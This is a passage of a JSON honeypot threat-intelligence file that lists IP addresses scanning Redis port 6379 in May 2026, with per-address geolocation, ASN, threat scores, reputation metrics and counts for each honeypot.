      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:56:15.061000+00:00",
        "last_seen_30d": "2026-05-30T21:04:07.514000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 31,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1
      }
    },
    "205.210.31.93": {
      "attack_count": 9,
      "first_seen": "2026-05-23T19:00:35.000Z",
      "last_seen": "2026-05-23T19:02:09.118Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:29:56.352000+00:00",
        "last_seen_30d": "2026-05-31T05:07:07.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 27,
        "Cowrie": 6,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "178.73.241.220": {
      "attack_count": 8,
      "first_seen": "2026-05-25T22:28:05.000Z",
      "last_seen": "2026-05-25T22:29:14.794Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:28:05+00:00",
        "last_seen_30d": "2026-05-25T22:29:14.794000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 2,
        "Suricata": 1
      }
    },
    "198.235.24.242": {
      "attack_count": 8,
      "first_seen": "2026-05-20T22:07:24.000Z",
      "last_seen": "2026-05-21T00:41:02.161Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:34:46.134000+00:00",
        "last_seen_30d": "2026-05-31T05:06:27.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 32,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ConPot": 2,
        "Redishoneypot": 2
      }
    },
    "85.217.149.74": {
      "attack_count": 8,
      "first_seen": "2026-05-10T00:56:26.000Z",
      "last_seen": "2026-05-10T00:57:35.906Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2208,
        "days_active_30d": 30,
        "ports_targeted_30d": 1104,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T02:26:57+00:00",
        "last_seen_30d": "2026-05-31T18:41:34.249000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1362,
        "Honeytrap": 842,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Medpot": 1,
        "Redishoneypot": 1
      }
    },
    "8.216.80.252": {
      "attack_count": 7,
      "first_seen": "2026-05-18T10:15:35.000Z",
      "last_seen": "2026-05-18T10:16:42.627Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-18T10:14:55.433000+00:00",
        "last_seen_30d": "2026-05-18T10:16:47.566000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "134.199.171.165": {
      "attack_count": 6,
      "first_seen": "2026-05-11T08:19:06.000Z",
      "last_seen": "2026-05-11T08:20:41.396Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-11T08:20:04.543000+00:00",
        "last_seen_30d": "2026-05-11T08:20:46.392000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59
      }
    },
    "41.84.154.250": {
      "attack_count": 6,
      "first_seen": "2026-05-17T04:02:28.000Z",
      "last_seen": "2026-05-17T04:03:39.075Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-17T04:03:22.152000+00:00",
        "last_seen_30d": "2026-05-17T04:04:17.811000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36
      }
    },
    "66.132.172.230": {
      "attack_count": 6,
      "first_seen": "2026-05-09T14:35:19.000Z",
      "last_seen": "2026-05-09T14:36:22.062Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T13:51:53.124000+00:00",
        "last_seen_30d": "2026-05-31T06:37:10.336000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83
      }
    },
    "93.189.30.2": {
      "attack_count": 6,
      "first_seen": "2026-05-08T15:13:55.000Z",
      "last_seen": "2026-05-08T15:15:01.852Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Vienna",
      "asn": 44133,
      "as_org": "IPAX GmbH",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T15:15:01.852000+00:00",
        "last_seen_30d": "2026-05-08T15:15:01.852000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "100.29.192.58": {
      "attack_count": 5,
      "first_seen": "2026-05-03T23:59:47.000Z",
      "last_seen": "2026-05-04T00:01:24.190Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 22.5,
        "diversity": 18,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 27,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T14:21:50.935000+00:00",
        "last_seen_30d": "2026-05-29T23:25:54.792000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9
      }
    },
    "101.201.38.226": {
      "attack_count": 5,
      "first_seen": "2026-05-31T21:01:00.000Z",
      "last_seen": "2026-05-31T21:02:10.412Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 25,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:20:44.880000+00:00",
        "last_seen_30d": "2026-05-31T21:02:10.412000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Dionaea": 3
      }
    },
    "106.75.241.127": {
      "attack_count": 5,
      "first_seen": "2026-05-21T19:49:53.000Z",
      "last_seen": "2026-05-21T19:50:55.819Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-21T19:50:55.819000+00:00",
        "last_seen_30d": "2026-05-21T19:50:55.819000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "115.190.15.61": {
      "attack_count": 5,
      "first_seen": "2026-05-04T23:21:00.000Z",
      "last_seen": "2026-05-04T23:22:02.253Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T23:22:02.253000+00:00",
        "last_seen_30d": "2026-05-04T23:22:02.253000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "134.122.21.77": {
      "attack_count": 5,
      "first_seen": "2026-05-24T23:25:28.000Z",
      "last_seen": "2026-05-24T23:26:29.212Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1888,
        "days_active_30d": 1,
        "ports_targeted_30d": 1903,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:03:54.617000+00:00",
        "last_seen_30d": "2026-05-24T23:50:18.392000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1874,
        "Honeytrap": 14
      }
    },
    "18.190.15.50": {
      "attack_count": 5,
      "first_seen": "2026-05-21T00:57:10.000Z",
      "last_seen": "2026-05-21T00:58:14.303Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 417,
        "days_active_30d": 30,
        "ports_targeted_30d": 187,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:51:21.304000+00:00",
        "last_seen_30d": "2026-05-31T18:09:36.304000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 417
      }
    },
    "211.137.77.19": {
      "attack_count": 5,
      "first_seen": "2026-05-02T13:01:27.000Z",
      "last_seen": "2026-05-02T13:02:35.932Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T13:02:35.932000+00:00",
        "last_seen_30d": "2026-05-02T13:02:35.932000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "23.95.223.43": {
      "attack_count": 5,
      "first_seen": "2026-05-12T10:34:32.000Z",
      "last_seen": "2026-05-12T10:35:33.522Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T06:52:47.632000+00:00",
        "last_seen_30d": "2026-05-12T12:04:09.545000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "45.56.83.149": {
      "attack_count": 5,
      "first_seen": "2026-05-16T12:57:49.000Z",
      "last_seen": "2026-05-16T12:58:52.403Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 30,
        "ports_targeted_30d": 180,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T05:01:29.564000+00:00",
        "last_seen_30d": "2026-05-31T22:42:29.148000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196
      }
    },
    "64.62.197.185": {
      "attack_count": 5,
      "first_seen": "2026-05-28T13:07:35.000Z",
      "last_seen": "2026-05-28T13:08:39.828Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 11.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 23,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:41:54.032000+00:00",
        "last_seen_30d": "2026-05-31T13:40:50.438000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "ConPot": 1
      }
    },
    "8.136.191.219": {
      "attack_count": 5,
      "first_seen": "2026-05-15T04:44:25.000Z",
      "last_seen": "2026-05-15T04:45:26.843Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-15T04:45:26.843000+00:00",
        "last_seen_30d": "2026-05-15T04:45:26.843000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "138.68.26.195": {
      "attack_count": 4,
      "first_seen": "2026-05-28T04:35:48.000Z",
      "last_seen": "2026-05-28T04:36:54.888Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 68.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.4,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 544,
        "days_active_30d": 4,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-25T05:41:02.193000+00:00",
        "last_seen_30d": "2026-05-28T04:41:38.570000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 408,
        "Honeytrap": 125,
        "Tanner": 6,
        "Adbhoney": 2,
        "ElasticPot": 2,
        "Honeyaml": 1
      }
    },
    "143.244.161.231": {
      "attack_count": 4,
      "first_seen": "2026-05-05T02:20:17.000Z",
      "last_seen": "2026-05-05T02:21:24.213Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 1881,
        "days_active_30d": 1,
        "ports_targeted_30d": 1880,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:11:59.855000+00:00",
        "last_seen_30d": "2026-05-05T02:48:31.510000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1839,
        "Honeytrap": 42
      }
    },
    "146.185.25.175": {
      "attack_count": 4,
      "first_seen": "2026-05-05T12:04:22.000Z",
      "last_seen": "2026-05-05T12:05:25.011Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 29302,
      "as_org": "Hosting Services Inc",
      "threat_score": 1.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T02:56:20.236000+00:00",
        "last_seen_30d": "2026-05-05T12:05:25.011000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "184.105.139.101": {
      "attack_count": 4,
      "first_seen": "2026-05-03T15:30:57.000Z",
      "last_seen": "2026-05-03T15:32:03.033Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T09:09:18.165000+00:00",
        "last_seen_30d": "2026-05-25T14:15:42.617000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "34.136.14.209": {
      "attack_count": 4,
      "first_seen": "2026-05-05T10:49:12.000Z",
      "last_seen": "2026-05-05T10:50:20.267Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 1.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T10:50:20.267000+00:00",
        "last_seen_30d": "2026-05-05T10:50:20.267000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "64.62.197.161": {
      "attack_count": 4,
      "first_seen": "2026-05-31T13:04:20.000Z",
      "last_seen": "2026-05-31T13:05:29.437Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:18:38.632000+00:00",
        "last_seen_30d": "2026-05-31T13:05:29.437000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 4
      }
    },
    "3.131.220.121": {
      "attack_count": 368,
      "first_seen": "2026-05-06T03:13:54.000Z",
      "last_seen": "2026-05-20T04:26:09.825Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4775,
        "days_active_30d": 23,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:25:47+00:00",
        "last_seen_30d": "2026-05-24T09:37:30.556000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2949,
        "Honeytrap": 1448,
        "Redishoneypot": 106,
        "Dionaea": 90,
        "ConPot": 78,
        "Mailoney": 46,
        "Cowrie": 33,
        "ElasticPot": 10,
        "Honeyaml": 4,
        "Ciscoasa": 3,
        "Ipphoney": 3,
        "CitrixHoneypot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "18.218.118.203": {
      "attack_count": 345,
      "first_seen": "2026-05-08T03:36:44.000Z",
      "last_seen": "2026-05-22T03:54:31.956Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7373,
        "days_active_30d": 23,
        "ports_targeted_30d": 170,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T03:29:15+00:00",
        "last_seen_30d": "2026-05-24T12:11:00.138000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4584,
        "Honeytrap": 2325,
        "ConPot": 149,
        "Redishoneypot": 98,
        "Mailoney": 91,
        "Dionaea": 77,
        "Cowrie": 21,
        "ElasticPot": 8,
        "Ipphoney": 7,
        "Honeyaml": 6,
        "H0neytr4p": 4,
        "CitrixHoneypot": 3
      }
    },
    "46.161.50.109": {
      "attack_count": 142,
      "first_seen": "2026-05-31T15:31:16.000Z",
      "last_seen": "2026-05-31T15:42:43.929Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6565,
        "days_active_30d": 14,
        "ports_targeted_30d": 214,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-18T08:45:26.565000+00:00",
        "last_seen_30d": "2026-05-31T15:56:53.863000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4676,
        "Honeytrap": 1727,
        "Dionaea": 71,
        "Redishoneypot": 41,
        "ConPot": 18,
        "Cowrie": 18,
        "Mailoney": 12,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "134.122.174.145": {
      "attack_count": 129,
      "first_seen": "2026-05-18T01:50:03.000Z",
      "last_seen": "2026-05-18T20:28:36.993Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
